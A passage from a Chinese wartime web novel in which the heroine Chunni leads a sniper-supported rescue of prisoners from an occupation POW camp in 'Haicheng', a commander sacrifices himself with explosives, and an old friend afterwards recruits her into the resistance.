或是:“想不到白云铠也是个不敢跟战友同甘共苦的小人,枉我这么崇拜他,他战俘营的待遇差,我还给他筹了款捐去,早知道,我拿那钱给街上的流浪汉买两个肉包子,他不香吗?” 甚至还有:“连白云铠都是这种人,华国到底还有没有救?” 王大嘴听得心尖直冒火,关上门忍不住破口大骂:“都是些什么鬼东西,一个白云铠还扯到华国有没有救上去了?白云铠跑了不是该高兴的事,嚎什么丧?我看成天就是这些酸唧唧的小白脸不干正事,破毛病最多!” “行了行了,这么大声干什么?生怕别人注意不到我们?”王保全忙喝住他。 王大嘴耙了耙头发,从王保全手里拿过望远镜,问道:“今天怎么样?” “到现在为止,他们放了两次风。每次五到十五分钟左右,几乎所有犯人都会在这个时候出来。” 英方当时只是暂扣白云铠等人,俘虏营连铁丝网都没拉,以前他们可以在操场上自由活动,现在是完全把这些俘虏当成了犯人对待,只能将他们关在房里不放出来。 如果春妮没估计错,他们在这里待不到多长时间,要么如她所说,被送去当苦力,要么,被转移到更加正规的监狱中去。 “看清他们每次放风,值守的人都从哪出来吗?” “一般是每层楼两人一组,出来四组人带枪巡视。最顶层西边的屋一直没出来人,应该是个机枪点。” “我们的人都安置妥当了?” “放心吧,妥了。” 春妮在看这两天的报纸:不出意外,几乎都是一面倒地在指责辱骂白云铠,仿佛倭国人占领租界跟这件事一比,也算不得什么大事了。 停了好一阵子,她才反应过来,这叔侄俩是在等自己说话。 “我那边也妥了,二十个人有两个领头人,今天晚上我们开个碰头会。没有意外的话,明天开始行动。” 春妮他们现在所处的位置,在离俘虏营后门约五百米的一间酒店的客房中。 距离是有些远,但这附近除了这栋建筑最高,其他的建筑物都跟俘虏营的三层楼平齐,或是还不如它高,将将就就,也能观察到一些东西。 从他们的视野望过去,除了东边的几个死角,其他的地方几乎一览无余。 ………… 春妮没想到,朱先生答应的那二十人,是他亲自来领的队。 看见春妮想说话,朱先生抬起手,飞快地堵住她:“你不用劝我,你能来,我为什么不能来?” 春妮:“……好吧,你自己小心一点。” 只是他带的人中,身形胖瘦不一,气质行为也相去甚远,像是出自百行百业,有几个她感觉还是学生,跟王大嘴这三十个拉出来一身彪悍之气的干将比起来,怎么看怎么不靠谱。但他们正是缺人手,别人有枪有人,战力再差,也能暂时用用。 朱先生看来也知道自己这边人的水准,在春妮开口之前,将她拉到一边:“我看你那边的人似乎更擅战一些,等开始之后,除了我之外,我的人你最好不要安排在最前线。让他们帮忙运送物品,开个车,还是没问题的。” 春妮:“……你是他们的领队,我把你跟他们分开,谁来管他们?” 朱先生无奈:“……那就随便你吧。” 这次的会议主要是布置任务。春妮将队伍拆分成七队,两个突击队负责攻击俘虏营,两个负责断后,三个后勤队混编,负责人员逃出来之后的各项事宜后续安排。 俘虏营在英租界,乃至整个海城的市中心,如果后续事宜不安排好,即使他们冲出监狱,也是死路一条。 王大嘴跟春妮合作过很多次,知道她的能耐,对她布置的任务一个没质疑,全部答应了下来。 朱先生听着听着,发现了不对劲:“哎,你净在安排我们,你呢?你做什么?” “我?” ………… 天气晴好,即使是深秋晚上将近六点钟,从瞄准镜里望过去,仍然可以清晰地看见目标人物的容貌。 春妮将枪托调整了一下位置,换了个更舒服的姿势,舌尖顶住嘴里的口香糖,吹了个泡泡。 她现在正侧卧在先前住的酒店的最顶层,肩上架的狙击枪,她从来到这个世界,就没有用过。 前几天为了寻找手感,她在安排事务之余,四处找地方重新熟悉这杆枪。 之所以放了这么久都没拿出来用,也没有送给别人,主要因为它的子弹需要特制。以华国目前的军工水平,是不用想了。而她手边总共还剩下不到二十发子弹,一人给那些倭国兵一颗都做不到,也不必拿出来现眼。 六点整,俘虏营里一声哨响,犯人们从各个号舍中走出来。 从春妮的角度看过去,二楼和三楼东西两面,共四面的窗户上有人影闪过,应该就是四个机枪点,也是她这次需要重点解决的地方。 六点零五分,一颗手榴弹被扔向大门。 “轰隆”的爆炸声中,春妮看见,二楼机枪点几乎是在同时伸出了两杆枪。 春妮“啪,啪”两下点射,屋里的人还没反应过来就已魂归地府。 而这时俘虏们大吼着向门口冲了过去。 大门口的那 几个倭国兵被手榴弹震翻在地,还不知死伤如何。 站在人群里的倭国兵们就像泥石流里的几片枯叶,没打出旋儿来,便被蜂涌而来的俘虏们踩倒在地上,不知生死。 之前她曾见过的几名倭国军官,这时大概正躲在哪间房间里,不敢贸然冒头吧? 春妮听见,人群里有人喊:“快夺他们枪!捡了枪再跑!” 蠢货! 她暗骂一声,看见四楼的两杆枪也很快伸了出来,再次两下点射,里面再次没有了动静。 俘虏们已经有大半都跑出了大门,沿着巷子飞快逃离。 在各条巷子的尽头,分别停着数辆卡车,只等那些俘虏们上了车便开走。 而就在这个时候,春妮忽然发现,三楼西边外侧的窗台上,忽然又伸出了一杆枪,它枪指的方向最尽头,正停着一辆军绿色的卡车。 数十百个俘虏正向那辆卡车奔去! 春妮心中一跳,不及找准角度,机枪“哒哒哒哒”响起来,跑在最前面的人像被镰刀收割的麦子一般扑倒在地上。 后面的队形立刻被冲散了。 170-180 第171章 171 隐藏 该死, 三楼西竟然隐藏了两个机枪手!春妮收到的情报里,并没有包括这一条。 以前她只跟战俘营的罗永刚熟悉一些,如果他没有叛变, 以他在军营里的身份, 这样的消息应该很容易就能获取。为了计划顺利进行,她还冒险去了一趟法租界,问白云铠有没有绝对可以信任的人。 白云铠给了他以前亲兵的联系方式。 这个亲兵在战场上救过白云铠的性命,忠诚度勿庸置疑。而且他因为不识字,在营里地位不怎么样,一直混在普通兵里居住,也不显眼。 但这样的人, 能量肯定也有限。 他能够团结好俘虏,在关键时刻带着他们冲出来, 已经完成了任务。 其实三楼出现的意外,即使他们可以猜到,也防不了。 因为春妮他们所在的酒店方向离俘虏更偏东一些,如果机枪手从院子里扫射, 春妮还能想想办法定位。但他现在掉转枪口,对准了墙外。春妮想干掉那个机枪手, 除非她的狙|击枪能够往酒店外墙平行延长至少三米,或是瞄准镜穿过至少三十厘米厚的砖墙,精准定位到那一侧枪手的脑袋上, 否则,她的子弹打出去, 也只是平白浪费。 该怎么办? 春妮犹豫的那一瞬间,二楼正中间的一个房间里,两个倭国军人跑了出来, 一人转下楼梯,另一人则快速跑向机枪点。 俘虏营的这三层楼中,除了常规的前门把守和各楼道巡视,每一层楼的正中央房间都是看守的值守房。 看来是终于有人反应过来,要出来拦截那些俘虏们了。 春妮只能调转枪头,先解决那个快跑到机枪点的倭国人。随后是三楼值守房的人也跑了出来…… 再两发子弹打出去,倭国军人应声倒下。春妮拉动枪栓,干脆这个时候也不管那些人准备干什么去了,只要有人站得高一点,或是在人群中冒出一点头,她便是一颗子弹打过去。那人即使不死,也要受伤! 这么高强度的射击,让其他人也反应过来,还有人在暗处伏击他们! 无形的敌人最为可怕。 幸存的倭国军人哇啦哇啦地,不知在喊什么话,一时倒是没人敢再站起来了。 还有几名倭国军人离门较近,他们借着地势的掩护跑到了巷子里,开始追击那些逃走的犯人。 海城的里弄狭窄深长,春妮的枪只有在开阔地使用,才施展得开。对那些追出去的敌人,只能指望她请来的援军们。 趁那些在院子里的人被吓住,春妮才有时间观察三楼西边的战况。 机枪手已经察觉,这个方向,春妮无法奈何他,打完几梭子弹,整个巷道里几乎没有一个再站着的人。他再调转枪口,向巷口的那辆车打去! 春妮很惊异,那辆车不知出了什么状况。她已经跟俘虏营中的倭军对峙过一轮,居然它还停在原地没有走! 从她的角度,可以看见卡车尾端喷吐着黑气,应该是出了什么问题。 如果按照春妮的想法,车出了问题直接扔在那,人先走就是了。但那辆车里的人不知怎么回事,还没有弃车。 她没记错的话,负责西侧接应的,应该是朱先生和他的一个搭档。 春妮调换了几个角度,始终无法捕捉到三楼西的机枪手。 她收起狙击|枪,决定再靠近现场一点观察。 下去酒店的时候,春妮发现有不少人聚到了大堂里。 全都是听见附近枪响,却不明状况的路人们进来躲避。 “这位同学,你现在最好不要出去,外面在打枪。”春妮经过前台时,有酒店的侍应生出来拦住了她的去路。 春妮现在穿着一身中山装,这是海城这个季节,男学生们常穿的服色。为了今天的行动,她戴上假发套和有檐的帽子装成了一个男学生。 今年还不到十七岁的她仍然在抽条,从侧面看过去,身材几乎没有起伏。装成男学生完全没有违合感。 这个侍应生应该把她当成了附近某个学校的学生。 “对不起,我有急事。”春妮拨开他的手,跑了出去。 奔跑中,她听见有人在问:“怎么又打起了枪?这次是哪?” “你不知道吗?就是俘虏营那边。” “怎么会是那?难道说,是有人来营救那些俘虏们了?” “谁知道呢?可能是吧。” “哎呀,要真是就好了。那些俘虏们都是英雄啊。现在倭国人来了,没有人营救的话,只怕他们就没活路了。” “别说了,听外边声音,是不是又打起来了?” 酒店离俘虏营直接距离不到五十米,但中间隔着两条里弄,只要不往外跑,这里其实是很安全的。 春妮急着赶赴现场,没留意到,她的身后,几个客人看见她出门,在后面着急道:“那个女学生怎么跑出去了?她不要命啦。” “是啊,那不是俘虏营的方向吗?这孩子该不会不知轻重,跑去现场了吧?”一个戴眼镜,脖子上挂着相机,气质有些像朱先生的男人猜测道。 说话间,挂相机的先生往楼梯上奔去:“我上三楼看看,那边的走廊尽头有个大窗户,我去看看什么情况。”又同侍应生说:“您看着些,要是那孩子不知轻重乱闯,可一定要叫她回来啊。” “我也去!” “等等我!” “……” 跑出酒店,春妮当然不会傻到直接冲进交战的最中心。 这个俘虏营南边是苏河,对面有倭军随时巡行把守,只有东西北三个方向可以逃离。现在西侧的接应不知道出了什么问题,机枪也一直没停下扫射,而东北两向肯定很乱。 春妮绕了一段距离,从南侧沿河沿跑了一段,再转向西边,终于看到那辆出了问题的车。 她以路边的一栋小平房为掩体,看到车的时候,她的心也凉了半截。 却是那车的正对面,是两辆倭国人的装甲车横在路中心将其包夹在中间。 装甲车里的倭国兵正举枪向他们射击,难怪动弹不了。 前方装甲车拦路,后边机枪封堵,难怪他们车子都发动了,却始终无法逃离。 真是倒霉到了极点。 俘虏营的宿舍楼正门就在这一侧的马路上,残留在楼房里的倭军缓过气来,肯定第一时间加入战团进行封锁。 想脱险的话,他们必须穿过俘虏营的正门,往春妮这个方向逃离,通过苏河,或许会有一线生机! 任何计划做得再完美,临实施的时候总会有意外,偏偏他们碰到了最倒霉的一种。 望着眼前的装甲车,春妮有一瞬间的怀疑:难道是她的计划泄露,有人得知消息,来了个瓮中捉鳖? 她回忆了一下:可是她布置时,只有她一个人知道计划的全部,所有人直到行动前半个钟头才知道自己的具体任务。 而且行动时间也是在那时候刚刚确定下来,如果道路上有两 辆这么大的装甲车藏在这,行动前她肯定不可能没有察觉。 而白云铠只是对华国人有些象征意义,倭国人只需要通过舆论造势,便可以将他订死在耻辱柱上,他本人并不具有太大的价值。 以俘虏营的价值,除非真的有人将消息透露给倭国人,让他们掌握到了自己这群营救者的消息,否则,他们不会花费大力气来围堵。 可是,这若真是一次算计好的埋伏,那么其他两路的人此时也应该出了意外才对。 但从春妮绕过来的方向来看,至少东路卡车已经平安离开了。 那么,这应该是一桩意外。 远远地,有汽艇响起的声音。 一定是在苏河附近巡守的倭国军人听到这里的动静,在赶过来增援! 几米之外的俘虏营大门,也有人跑了出来,他们一边射击,一边向卡车靠近。 如果两分钟之内,春妮解救不了卡车里的人,他们被赶来的倭国军人围困住,就只有死路一条了。 “砰!”这个小型的战场之外,传来了第三声枪响! “白云恺!” “白云铠。”不远的酒楼上,围观的众人同样是目瞪口呆。 春妮简直不敢相信自己的眼睛,她瞪着白云恺旁边的罗阿水:她不是叫他们好好在房间里躲着吗?为什么他会出现在这里! 春妮的这句“白云铠”并没有引来其他人的注意,就在这声枪响的同时,包括那些倭国人在内,能看到这处小小交战场地的所有人,包括街上和楼房里的,都在叫这个名字。 酒店里,戴眼镜的男人举起颈项上的相机一顿狂拍:“白云铠怎么会来?难道是他主持的这次营救?他是从哪里找来的这些人?他不是被英国人软禁在医院养病吗?” 然而没有人回答他,所有人都被他的如从天降给惊住了,一时没人说得出话。 冲出监狱的几个倭国军人脚一顿,互相使个眼色,有两个人向着他的方向跑过来。 “站住!”白云铠又开了一枪,枪子在那两个倭国人的脚下,弹射出一个浅浅的弹坑。 “白云铠,你跑不了的,我们的人马上来!”一个穿士官服装的倭国人躲到俘虏营门口的信箱背后,向他喊话。 “我知道,”白云铠紧紧握住枪:“今天白某人会在这个时候出现,就没想过要跑。我知道你们倭国人很想抓住我,这样吧,你们放了那边的几个朋友,我就跟你们走,怎么样?” 白云铠常年在战场上临阵指挥,声音很宏亮。 他的声音穿透那些枪声,清晰地抵达到附近每个人的耳膜中—— 春妮的第一反应是不敢置信,她花费这么大力气来救人,不是看着白云铠再度自投罗网的:“你疯了你?!”他以为他自投罗网,就能阻止倭国人了吗? 她顾不得曝露自己,尖声大叫。 白云铠却没看她,几个倭国人也没把她当成一回事,为首的倭国人佐藤欣喜若狂:“好,我答应你,你——” “慢着!”白云铠将枪抵上自己的太阳穴:“我说过,你们放了人,我再跟你走。否则,你们只能得到一具尸体!” 佐藤目光闪动,春妮耳边已经听到了整齐划一的脚步声。倭国人的大部队在快速向这里集结,按她的估计,不超过一分钟,这里就会被团团包围。 “咔哒”,白云铠拉动了枪栓:“我是说认真的。我倒数三声,三,二——” 佐藤面向交战的方向,哇啦哇啦说了几句倭国话。春妮的倭语水平经过四年的锤练,已经能够听懂不少口语,她听出来,佐藤只让那几个装甲车的倭军暂停开火,并没有如他所愿,要求他们放人。 白云铠虽然听不懂倭国话,但他明白,倭国人肯定不会那么听话。 “啪”,他调转枪口,又开一枪。 这一枪正中一个倭国兵的胸膛。 他冷冷道:“我知道你们倭国人在玩什么把戏。无非是想把我白某人的名声搞坏搞臭,让海城人觉得我们军人全是软蛋窝囊废,让所有人都觉得我们没救了。可现在众目睽睽之下,若是我白某人为了营救战友,跟你们激烈开战,死于你等炮火之下,倒也是个不错的归宿。你们一再拖延,莫非是真的想成全白某人?!” 佐藤脸色刷地一变,然而白云铠并不给他机会,顺手将另一个解决,道:“现在白某人枪里还有五颗子弹,杀光所有倭国人不够,杀自己却是够的。” “好,我可以放他们走。”佐藤终于妥协了。 装甲车终于让开了一条路。 赶在苏河的援兵到来之前,卡车终于成功发动,驶离了这里。 春妮顾不得为他们的前路担心,目光紧紧锁定在白云铠身上。 她理智上明白,她现在最好以最快的速度赶紧离开,否则晚了之后,大量倭国人赶到,第一时间肯定是封锁现场。 可是白云铠就要落在倭国人的手里,她的脚像生了根一样……他的伤还没好,甚至他赶到这里还需要罗阿水的帮助。 罗阿水……对了,罗阿水呢? 终于,如潮水般的倭国兵涌上来,将他团团围在中间。 “你还不快走?”罗阿水不知什么时候,绕到了她身边。 是啊,她该走了…… 春妮最后看了一眼,白云铠那身灰蓝色的军装已经被土黄的队伍彻底淹没,再也看不见。 轰—— 一团烈火从人群的最中心猛地爆开! 第172章 172 调查 “……调查清楚了。那两辆车里原本拉的是从前线撤下来的伤兵, 听到监狱的枪声,特地调转回头,堵住了我们的车。”说话的, 是朱先生。 春妮揉了揉脸。 朱先生心里也不好受:“你不要太自责。原来是我们的经验不足, 不够果断,如果能在发现那两辆车开始,还未形成包围圈时不要犹豫,撞过去冲破封锁线逃出去,白营长也不会因我们——” 他抽了下气,没能说下去。若非为了他们的逃离争取时间,白云铠即使现身拖延倭军, 也不一定会用手雷跟倭国人同归于尽。 俘虏营一役,朱先生固然成功逃脱, 可之前他与同伴跟倭国人对射,一颗流弹击穿他的锁骨,随后不得不打电话向报社请了事假。又因家里人来人往不方便,干脆请春妮给他安排了一处房子, 躲起来安心养伤。 说到底白营长是因他而死,朱先生心底愧疚, 养伤的这两天并没闲着,安排手下的人到处打探消息,现趁着春妮来探他伤情之时告知于她。 春妮低声宽慰他两句, 想起当日情形,两人默默无言。 她低下头去看桌上放的报纸。 白云铠战死当日, 《申报》有一名记者正好在现场拍下照片,并写了现场报道。报上一反不问国事的常态,标题上用了“壮烈殉国”“同归于尽”这类字眼, 为白云铠之死作了公正的报道。 《申报》是海城报业的领头人,有他们冲锋在前,一些立场偏华人的报馆也随之作出了报道。他们的用辞虽然没有《申报》那样大胆,但也尽量客观地还原了当天的情形,间接为前些天那些倭系媒体对他泼的脏水作出了还击。 听说因为此事,这两天倭国人又掀起了查封报社的风潮。 朱先生如坐针毡,又搜罗出一个话题:“我还不知道那些俘虏们,你们是怎么安排的?” “有一些跑散了,有一些我们已经安排他们出了城。”那天因为西 线被机枪手封堵,有些西线后边的俘虏惊慌之下到处乱跑,有的冲乱了队形,走到了别的岔道,有的跟东北两线的俘虏们汇合,顺利坐上卡车,逃出了城外。 原本这事可能还会经历一些波折,但白云铠那天身上绑满了炸药,他站在俘虏营门口出其不意的那一炸,不仅使得倭军伤亡惨重,还堵住了俘虏营车马和装甲车追击的路途。不止为朱先生拖延了时间,为其他两路人马的逃脱也争取了时间。 “都还顺利?” “挺顺利的。” 朱先生喉头动了动,想说什么,到底没再说下去。 春妮知道,他原本想接手安排一部分俘虏。这些俘虏都是经历过大小场面的老兵,如果能争取到自己的阵营,将会是不小的助力,他即使帮忙的心是真诚的,能不白帮自然还是不白帮的好。但白云铠的那一炸,让他再没有了底气开口。 春妮心里也松了口气:如果他不开口,也不用想借口拒绝他。 看他那天的行事作派,应该跟王大嘴和涂铁柱他们并不是一方人马。以涂铁柱那人的性格,到了嘴的肉肯定不会再吐出来,朱先生识趣,不再问她要人,也省了她在中间调停周旋。 至于那天跑出来的俘虏们,一共有三百多人。涂铁柱让人问了他们的意愿,不愿意再上战场的,一人给了他们两块钱,让他们自谋生路。愿意再去当兵的,他负责全程安排。 这两种选择的人中,选第一种的人很少,大部分人都听到了白云铠的那一炸,即使当时不知道是怎么回事,睡完一觉,拿到《申报》新鲜出炉的报纸之后,也知道他们的营长为他们作出了怎样的牺牲。 许多人当场嚎啕大哭。 这些昨天还在营地里长吁短叹,仿佛意气消磨的老兵们几乎在一夜之中便恢复了锐气。春妮离开时,他们在山下设了个小小的祭坛,请村民买来黄纸黄酒,正张罗着要祭拜老营长。 春妮这次来看朱先生,主要是给他带一些药品和生活必须品。夏风萍那边,她也想办法跟她联系上,两人对了口风。只是这几天倭国人风声鹤唳,正在搞大搜捕,夏风萍不方便来见朱先生,只能由她代劳照顾几天。 朱先生现在住的房子正是白云铠出事之前藏身的法租界公寓。法国现在是德国的傀儡政府,出于维系德国政府友谊的需要,倭国人前几天只占领了公共租界,保留了法租界的独立。 这座公寓楼中居住的大多数是外国人,电梯直达上下,而且注意隐私。只要堵好楼下印度保安的嘴,就安全得很。而知道这里的人,除了她,还活着的人就只剩下罗阿水。 而罗阿水昨天护送她去张庄之后,就告诉她,自己想留下来去前线,他不会再回海城了。 “白营长叫我转告你,每个人都会死。他是个军人,死在战场上,能够死得其所,他很高兴。你不必为他伤怀。” 春妮想起罗阿水说话的神态:“海城安全是安全,可我待在这,实在太憋闷了。以前在山上,咱们几个人合伙打鬼子,把他们耍得团团转多痛快,可现在倭国人在咱们眼皮子底下天天晃,我什么都做不了,心里憋闷得很。我知道妹子希望我留下来帮你,可对不住,阿哥怕阿哥留下来,迟早晚给你惹出祸来。” 这个年代就是这样,分别从来不给人留时间准备。 昨天见面还言笑晏晏的人,一觉醒来,说不定就见不到了。 春妮知道朱先生很沮丧,但她实在不是个安慰人的性格,胡乱说了两句话,给他换了遍药,借口他需要养病,告辞出了门。 学校那边已经猜出了春妮干的好事,托夏风萍转告她,事发之后,因为他们跟俘虏营,以及白营长来往过于密切,很快有人到学校来检查。他们已经告诉来检查的人,说春妮跟罗阿水拜了把子,罗阿水代父母认了她这个妹子,需要回明州禀告族老告祭祖宗,早几天便出发去了明州,要春妮先别回来。 依校长的意思,让春妮干脆一连气儿逃走,别管学校,也别管工厂了。 她理解罗阿水和校长,可这里是华国人的地盘,她绝不会逃,也不会走。若说以前她对付倭国人,更多是因为这些人坏了她的事,挡了她的道,她像处理苍蝇蚊子一样不得不拍一拍赶一赶,但白云铠死的那一刻,她忽然明白了。 这些倭国人不是苍蝇蚊子,他们就算是蚂蚁,数量够多够凶狠,也能拖死一只大象。她想平静地生活下去,必须像尹校长,像涂铁柱,甚至像朱先生那样,想办法将这些蚂蚁从大象身上赶下来。 租界里的一时安稳,只不过是镜花水月。 何况春妮仔细想过,前天她没有出现在战场,倭国人抓不住实证,其实无法奈她何。就像前两年连德江给她设套,让她落入伤人陷阱的那次一样,她看似危险,若好好运作一番,未必有问题。反而如果她现在不见了人影,倭国人猜疑之下,学校绝对要面对他们最猛烈的怒火。 这些能当街杀人放火的倭国人,不会跟你讲道理,不是学校可以面对的。学校好不容易走到今天的局面,以后有什么事不好说,但不能因为她而毁于一旦。 一人做事一人当,她惹出来的麻烦,自己能解决的,没必要连累别人。 但按照学校给倭国人回复的借口,她还需要再藏十来天才能再次现身。 这几天她搬到了前些日子在公共租界买的另一处房子里,除了隔天去看望一次朱先生,剩下的时间一般是待在屋里。 妈妈死去之后,春妮很少再有这么悠闲到无所事事的时光,可她并不是真的悠闲。她在藏身处躺了一天,只要脑袋放空,便会想到那一天的情形。 她可能一辈子都不会忘记了。 春妮曾经经历过无数次死亡,没有哪一次像白云铠一样,在她心里留下了那么重的痕迹。 他本来可以置身事外,即使朱先生他们被抓住惹出麻烦,事后他也可以推说自己毫不知情,将自己撇得一干二净。 可他通过对春妮只言片语的推测,自行赶到现场,并干脆而决绝地做出了选择。 他知道自己被双城政府利用,却不以为意,危机重重之下,仍然作出了最正确,最能打击敌人的决定。 即使死,也在海城人心里种下了光明的种子。 即使这么烂的世道,这么烂的政府,也有人愿以性命开路,向世人发出战斗的呐喊。 春妮躺不下去了,她穿上衣服出了门,决定出门随便走走。 大街上,人人裹紧了衣裳,步履匆匆。 现在天色半黑,快到下午六点钟,正是海城人下班的时候。 “快点,听说这个时间是倭国人吃饭的时间,我们赶紧过去。”两个正在对话的女学生引起了春妮的注意。 她们跟春妮擦肩而过,那个穿米白色大衣的女学生将大衣半解,一只手藏在衣服里面,不知藏了什么。 春妮不觉跟过去。 她发现这两个女学生很警惕,她们护着怀里的东西,躲躲闪闪地穿过马路和里弄,走了半条街,来到一个春妮极为熟悉的地方。 俘虏营。 大街的正中是一个浅浅的坑,还有黑色的血迹未曾清理干净,这就是白云铠在世间留下的最后痕迹。 女学生们接近那个坑,大衣中的手也抽出来,却是攥着两朵小小的雏菊。 她们在坑边轻轻放下那两朵小小的菊花,默默站了会儿。 这两朵雏菊并不孤单,在它们身边,还放着几朵□□,几枝梅花和白百合,以及数枝芒草。在女学生之前,一位穿黑风衣的先生已经伫立在了坑边。 秋风吹来,那两朵白白的雏菊花瓣在寒风中瑟瑟抖动,被风一吹,跟着那些梅花百合一起,卷到坑底,看不见了。 “那有几个华国人在纪念匪首白云铠,抓住他们!”俘虏营门口,有倭国人跑了出来。 第173章 173 招揽 “抓住那几个匪首同情份子!” 坑边的几个人一 哄而散。 春妮虽然站的位置离坑边还很远, 怕被波及到己身,也只好在倭国人追过来之前跟着拔腿狂奔。 “在那边。”有几个倭国人像鬣狗一般,紧咬在她身后不放。 她没干什么啊, 怎么就追着她不放了? 春妮回头过去, 却看见之前那个站在坑边,戴着圆礼帽的黑西装先生跟在她身后不到三米处。 这些倭国人原来追的是他? 春妮自叹倒霉,正准备转身加速甩掉他,这时,这个人抬了下头。 “常,常——”看清这人的容貌,春妮差点没岔过气去。 黑西装先生听见她的声音, 再抬了下头,看见春妮也是一惊, 手指点了下她,两条大长腿猛地发力,两下蹿跃到她身边,一只手伸出来, 环住她的手臂,携着她飞奔起来。 春妮被他扯住, 身不由己跟着加快速度,两人开始一同发力奔跑。 不知跑了多久,将身后的人越甩越远, 耳边再也听不见身后倭国人的叫骂,两人停了下来, 互视着对方,好一阵面面相觑,同时道:“你——” 两人四眼, 同时又道:“你怎么——” 停了停,同时失笑出声,黑西装先生作了个“你先请”的动作。 春妮迫不及待发问:“常,常先生,怎么是你啊?” 虽然三年多没见,眼前这人面貌成熟了许多,她怎么可能认不出常文远? 这可是第一位将她带入反倭圈子的领路人。 春妮还记得,当年他走之前,曾经说过他会回来。她只以为,这是他当时发愿随口说的一句话,或是他说的“回来”,指的是胜利之后的“回来”。想不到她居然会在今天,会在此地见到他! 租界沦陷刚过半个月,倭国人为震慑海城人,这半个月没消停到处抓人,他这个时候回来,海城已无安全堡垒,这个时候,无疑是最危险的时候。 常文远喘匀了气,摆摆手笑道:“你可别叫我常先生,总觉得你是在叫我堂叔,平白被你叫老了一辈儿。” 故人碰面,原还有些生疏。他这一说话,往年的那股熟络劲儿立刻回来了。 春妮笑了:“那我叫你什么?” 平常一个问题,他却是沉吟了一下:“叫我王哥吧,我现在姓王。” 春妮便明白,这次他定是隐藏身份回到的海城,倒是先前想好的问题不便再问下去了。 春妮便顺势问他:“那常先生可还好?” 当年常先生因是避祸遁出海城,临走前只给所有亲近朋友留了道别信,春妮也不知道他将往何处去。又因海城内外音讯难通,固然她事后多方打听,他现在在何方也不甚知情。 “堂叔一家现在在双城,虽说经常遇到空袭,但不用担心倭国人暗杀,苦是苦一点,却过得安心。他念叨过你很多回,想给你捎信报个平安。只是想着他被倭国人惦记,怕贸然联系你们,会给你们招祸,一直没敢往这边递信。” 春妮就“哎呀”了一声:“我去过双城两次,早知道常先生也在,我该留神打听,说不定咱们在双城还能见呢?” 常文远瞧这小姑娘开心的模样,忍不住取笑道:“你不怕堂叔见了你,第一件事便是来考你功课?” 春妮瞪向他:“你别哪壶不开提哪壶好不好?再说了,我现在学问可好,常先生就算考我,我也是不怵的。” “哦?这么厉害,真的不怵?”常文远笑。 话音将落,只听见“咕”地一声。 常文远脸色微红,不好意思地揉揉肚子:“跑了这么长的路,有些饿了。你饿不饿,不如我请你吃饭,咱们边吃边聊。” 春妮白了他一眼:“有人请吃饭,不饿也饿了。就那吧,你请我吃。” 她手指的方向,正是一间淮扬菜馆。 这间菜馆显然刚开张没多久,大红柱子上的金漆怕是都没干透。 海城的菜馆中,本帮菜和粤菜馆最流行,开得最多,西餐馆也不少,但最上等,最见功夫的馆子,当属淮扬菜馆。 春妮这么一指,显然是记着他刚揭自己的短,特意点个贵些的馆子,将他一军。 她可是知道,即使当年常文远经济状况不差,有时还有车开,手头却不是那么宽绰,想吃什么吃什么的。 孰知常文远看见那馆子,自己先笑了,满口应道:“你倒是会选,没问题,包管你今天吃得满意。走,我们进去吧。” 春妮有些惊疑:“莫非你是真阔了?” 常文远神秘笑笑,摘下帽子,走前一步,为她拉开了玻璃门:“请吧,小姐。” 春妮进门之前,看见那站台旁边一个侍应生先冲常文远半哈了腰:“老板您来了。” 好家伙! 进到二楼的包间,春妮忍不住将他重新打量一番:“好哇,我竟不知道身边藏了个小开。说说,你什么时候开的这个馆子?” 常文远假意谦虚,嘴角却止不住的笑:“哪里哪里,我不过是个拿钥匙的丫鬟,什么小开不小开的,你抬举我了。” “你还拿钥匙?谁能使唤动你啊?你爹?” 要说春妮对常文远的家世一点都不好奇,那是说假话。但在三年前,两人不太熟,春妮不怎么好问。现在意外的一次见面,多了一出共同逃命的情谊,竟在无形中拉近了两人的距离。 常文远笑而不答:“先点菜吧,我们家狮子头烧得不错,你尝尝?” “你是主人家,可着你们这拿手的点,我品品你们厨子的功力。”春妮越发看他越新鲜。三年前,一个学建筑的大学生,三年后却是回海城开了个高档菜馆。 他所干的事跟他的专业不说全无关系吧,也是毫无相联。看他这样子,似乎还做得挺得适畅意? 常文远不再推辞,除了狮子头,常文远又点了道大煮干丝,一个软兜膳鱼并一道汤。淮扬菜都是功夫菜,点完菜品,他让伙计上了一壶菊花蜜桔茶,给春妮斟上,等待上菜的功夫,两人慢慢啜饮。 “还想问什么,你一起问了吧。”常文远坐回位置笑道。 “我不是问了吗?你真准备这个时候跑到海城来开菜馆?” “在回答这个问题之前,我想先问你一个问题,”常文远放下茶杯,望着春妮的眼睛:“你想没想好,以后要做什么?倭国人打进了租界,你有没有想过,要做点什么?” 适才他的身份让春妮有一些联想,但她没想到,一见面,常文远竟然没有避讳,直接问了出来。 春妮不觉收敛脸上闲适的微笑:“你这是在招揽我?” “你也可以这么理解,那你接不接受?” 春妮轻轻吸了口气:“你是代表哪一边招揽我?” 常文远手指沾着水,在桌上写了一个字。 见春妮没有露出意外之色,他笑了笑:“其实我不说,你也猜得出来。现在城外活跃的游击成员,只有我们的人。” “你要说那个,三年前我就已经跟你们在干了啊。”春妮不解道:“怎么今天又要问一次?” “那不一样。” 春妮还待再问,忽然想起身上的官司,说道:“你还是先别急着招揽我,要是你知道我身上的麻烦,说不定就改了主意呢。” 常文远摇头笑道:“你小瞧了我,以为我只了解三年前的你?你说的麻烦,指的是俘虏营的事?” 春妮一惊:“你打哪知道的?” 常文远笑眯眯地,偏不回答她。 兜头一道灵光劈下,春妮猛地明白过来:“你跟涂铁柱是一起的!” 常文远大笑出声:“果然是长进了不少,那你现在可还有顾虑?” 春妮理了理脑中的思绪,也是觉得好笑:“我该早想到的。现在坚持全民抗倭的,除了双城政府,也只有你们。其他的都是割据一方,各自为政的军阀土匪。双城政府不是这个作风,那你就只能是另外一边了。” 她说话时,常文远又是点头,又是微笑:“几年不见,果然长了不少见识,那你现在可还有顾虑?” “实话说,”春妮收敛了笑意,“你这句话,这几年不是没人问过我。我这个人胆子小,你要是早几天招揽我,我未必愿意。” “你这小姑娘,名声大得我没来海城就听过你好多事。你要是胆子小,这个海城就没有胆子大的人。”常文远觉得她是谦虚。 春妮摇摇头,怅然道:“那不一样,我刚刚想通了一个道理。我总想着经营自己的一亩三分地,只要坏人没欺负到我头上,我忍着忍着也能过下去,卖命的事有别人去干。可世上哪有这么好的事?哪怕是种个地,也要先除了虫,才好下种子。等虫子吃了地里的庄稼再去捉,早晚又会是 一场空。对了,你想让我干什么?” 